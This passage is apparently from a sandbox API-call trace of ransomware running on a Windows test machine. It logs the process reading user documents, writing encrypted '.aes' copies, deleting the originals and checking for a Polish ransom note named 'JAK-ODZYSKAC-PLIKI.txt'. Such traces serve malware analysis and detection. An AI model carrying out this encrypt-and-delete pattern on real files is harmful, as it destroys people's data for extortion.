lpOverlapped=0x0 | out: lpBuffer=0x26b2f6c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.679] WriteFile (in: hFile=0x354, lpBuffer=0x2724908*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2724908*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.679] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f6c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.679] WriteFile (in: hFile=0x354, lpBuffer=0x2724908*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2724908*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.679] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f6c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.679] WriteFile (in: hFile=0x354, lpBuffer=0x2724908*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2724908*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.680] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f6c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.680] WriteFile (in: hFile=0x354, lpBuffer=0x2724908*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2724908*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.680] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f6c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.680] WriteFile (in: hFile=0x354, lpBuffer=0x2724908*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2724908*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.680] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f6c*, lpNumberOfBytesRead=0x77cea50*=0x616, lpOverlapped=0x0) returned 1 [0072.680] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f6c*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0072.680] WriteFile (in: hFile=0x354, lpBuffer=0x2724908*, nNumberOfBytesToWrite=0x731, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x2724908*, lpNumberOfBytesWritten=0x77ce974*=0x731, lpOverlapped=0x0) returned 1 [0072.680] WriteFile (in: hFile=0x354, lpBuffer=0x2724908*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x2724908*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0072.680] CloseHandle (hObject=0x354) returned 1 [0072.681] CloseHandle (hObject=0x34c) returned 1 [0072.682] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\_X864G9NgHeHTp16YW.ods", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\_X864G9NgHeHTp16YW.ods", lpFilePart=0x0) returned 0x53 [0072.682] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\_X864G9NgHeHTp16YW.ods" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\_x864g9nghehtp16yw.ods")) returned 1 [0072.683] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x57 [0072.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0072.683] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe52988e0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe52988e0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe52988e0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0072.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0072.683] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0072.706] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\0qp cbTp2kDuTxPhn8y.csv", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\0qp cbTp2kDuTxPhn8y.csv", lpFilePart=0x0) returned 0x59 [0072.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0072.706] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\0qp cbTp2kDuTxPhn8y.csv" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\p9grc6n9ugq9v\\0qp cbtp2kdutxphn8y.csv"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x479f0480, ftCreationTime.dwHighDateTime=0x1d2f80e, ftLastAccessTime.dwLowDateTime=0x45b0f450, ftLastAccessTime.dwHighDateTime=0x1d2fce9, ftLastWriteTime.dwLowDateTime=0x45b0f450, ftLastWriteTime.dwHighDateTime=0x1d2fce9, nFileSizeHigh=0x0, nFileSizeLow=0x1890b)) returned 1 [0072.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0072.706] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\0qp cbTp2kDuTxPhn8y.csv", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\0qp cbTp2kDuTxPhn8y.csv", lpFilePart=0x0) returned 0x59 [0072.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0072.706] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\0qp cbTp2kDuTxPhn8y.csv" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\p9grc6n9ugq9v\\0qp cbtp2kdutxphn8y.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x34c [0072.706] GetFileType (hFile=0x34c) returned 0x1 [0072.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0072.706] GetFileType (hFile=0x34c) returned 0x1 [0072.706] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\0qp cbTp2kDuTxPhn8y.csv.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\0qp cbTp2kDuTxPhn8y.csv.aes", lpFilePart=0x0) returned 0x5d [0072.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0072.707] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\0qp cbTp2kDuTxPhn8y.csv.aes" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\p9grc6n9ugq9v\\0qp cbtp2kdutxphn8y.csv.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x354 [0072.707] GetFileType (hFile=0x354) returned 0x1 [0072.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0072.707] GetFileType (hFile=0x354) returned 0x1 [0072.707] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0072.715] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6fd6ef8 [0072.715] GetNetworkParams (in: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624) returned 0x0 [0072.722] LocalFree (hMem=0x6fd6ef8) returned 0x0 [0072.722] GetAdaptersAddresses () returned 0x6f [0072.727] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7014730 [0072.727] GetAdaptersAddresses () returned 0x0 [0072.732] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0072.739] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0072.739] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0072.746] LocalFree (hMem=0x1c8b20) returned 0x0 [0072.746] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0072.752] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0072.752] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0072.760] LocalFree (hMem=0x1c8b20) returned 0x0 [0072.760] LocalFree (hMem=0x7014730) returned 0x0 [0072.760] GetBestInterfaceEx (in: pDestAddr=0x2750f70*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0072.859] ReadFile (in: hFile=0x34c, lpBuffer=0x26b4278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4278*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.860] ReadFile (in: hFile=0x34c, lpBuffer=0x26b4278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4278*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.860] WriteFile (in: hFile=0x354, lpBuffer=0x26f9b80*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f9b80*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.861] ReadFile (in: hFile=0x34c, lpBuffer=0x26b4278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4278*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.861] WriteFile (in: hFile=0x354, lpBuffer=0x26f9b80*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f9b80*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.861] ReadFile (in: hFile=0x34c, lpBuffer=0x26b4278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4278*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.861] WriteFile (in: hFile=0x354, lpBuffer=0x26f9b80*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f9b80*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.861] ReadFile (in: hFile=0x34c, lpBuffer=0x26b4278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4278*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.861] WriteFile (in: hFile=0x354, lpBuffer=0x26f9b80*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f9b80*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.861] ReadFile (in: hFile=0x34c, lpBuffer=0x26b4278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4278*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.862] WriteFile (in: hFile=0x354, lpBuffer=0x26f9b80*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f9b80*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.862] ReadFile (in: hFile=0x34c, lpBuffer=0x26b4278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4278*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.862] WriteFile (in: hFile=0x354, lpBuffer=0x26f9b80*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f9b80*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.862] ReadFile (in: hFile=0x34c, lpBuffer=0x26b4278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4278*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.862] WriteFile (in: hFile=0x354, lpBuffer=0x26f9b80*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f9b80*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.862] ReadFile (in: hFile=0x34c, lpBuffer=0x26b4278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4278*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.862] WriteFile (in: hFile=0x354, lpBuffer=0x26f9b80*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f9b80*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.863] ReadFile (in: hFile=0x34c, lpBuffer=0x26b4278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4278*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.863] WriteFile (in: hFile=0x354, lpBuffer=0x26f9b80*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f9b80*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.863] ReadFile (in: hFile=0x34c, lpBuffer=0x26b4278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4278*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.863] WriteFile (in: hFile=0x354, lpBuffer=0x26f9b80*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f9b80*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.863] ReadFile (in: hFile=0x34c, lpBuffer=0x26b4278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4278*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.863] WriteFile (in: hFile=0x354, lpBuffer=0x26f9b80*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f9b80*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.863] ReadFile (in: hFile=0x34c, lpBuffer=0x26b4278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4278*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.864] WriteFile (in: hFile=0x354, lpBuffer=0x26f9b80*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f9b80*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.864] ReadFile (in: hFile=0x34c, lpBuffer=0x26b4278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4278*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.864] WriteFile (in: hFile=0x354, lpBuffer=0x26f9b80*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f9b80*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.864] ReadFile (in: hFile=0x34c, lpBuffer=0x26b4278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4278*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.864] WriteFile (in: hFile=0x354, lpBuffer=0x26f9b80*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f9b80*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.864] ReadFile (in: hFile=0x34c, lpBuffer=0x26b4278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4278*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.864] WriteFile (in: hFile=0x354, lpBuffer=0x26f9b80*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f9b80*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.864] ReadFile (in: hFile=0x34c, lpBuffer=0x26b4278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4278*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.865] WriteFile (in: hFile=0x354, lpBuffer=0x26f9b80*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f9b80*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.865] ReadFile (in: hFile=0x34c, lpBuffer=0x26b4278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4278*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.865] WriteFile (in: hFile=0x354, lpBuffer=0x26f9b80*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f9b80*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.865] ReadFile (in: hFile=0x34c, lpBuffer=0x26b4278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4278*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.865] WriteFile (in: hFile=0x354, lpBuffer=0x26f9b80*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f9b80*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.865] ReadFile (in: hFile=0x34c, lpBuffer=0x26b4278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4278*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.865] WriteFile (in: hFile=0x354, lpBuffer=0x26f9b80*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f9b80*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.866] ReadFile (in: hFile=0x34c, lpBuffer=0x26b4278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4278*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.866] WriteFile (in: hFile=0x354, lpBuffer=0x26f9b80*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f9b80*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.866] ReadFile (in: hFile=0x34c, lpBuffer=0x26b4278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4278*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.866] WriteFile (in: hFile=0x354, lpBuffer=0x26f9b80*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f9b80*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.866] ReadFile (in: hFile=0x34c, lpBuffer=0x26b4278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4278*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.866] WriteFile (in: hFile=0x354, lpBuffer=0x26f9b80*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f9b80*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.866] ReadFile (in: hFile=0x34c, lpBuffer=0x26b4278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4278*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.866] WriteFile (in: hFile=0x354, lpBuffer=0x26f9b80*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26f9b80*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.867] ReadFile (in: hFile=0x34c, lpBuffer=0x26b4278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4278*, lpNumberOfBytesRead=0x77cea50*=0x90b, lpOverlapped=0x0) returned 1 [0072.867] ReadFile (in: hFile=0x34c, lpBuffer=0x26b4278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4278*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0072.867] WriteFile (in: hFile=0x354, lpBuffer=0x26f9b80*, nNumberOfBytesToWrite=0xa21, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x26f9b80*, lpNumberOfBytesWritten=0x77ce974*=0xa21, lpOverlapped=0x0) returned 1 [0072.867] WriteFile (in: hFile=0x354, lpBuffer=0x26f9b80*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x26f9b80*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0072.867] CloseHandle (hObject=0x354) returned 1 [0072.868] CloseHandle (hObject=0x34c) returned 1 [0072.868] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\0qp cbTp2kDuTxPhn8y.csv", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\0qp cbTp2kDuTxPhn8y.csv", lpFilePart=0x0) returned 0x59 [0072.868] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\0qp cbTp2kDuTxPhn8y.csv" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\p9grc6n9ugq9v\\0qp cbtp2kdutxphn8y.csv")) returned 1 [0072.869] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 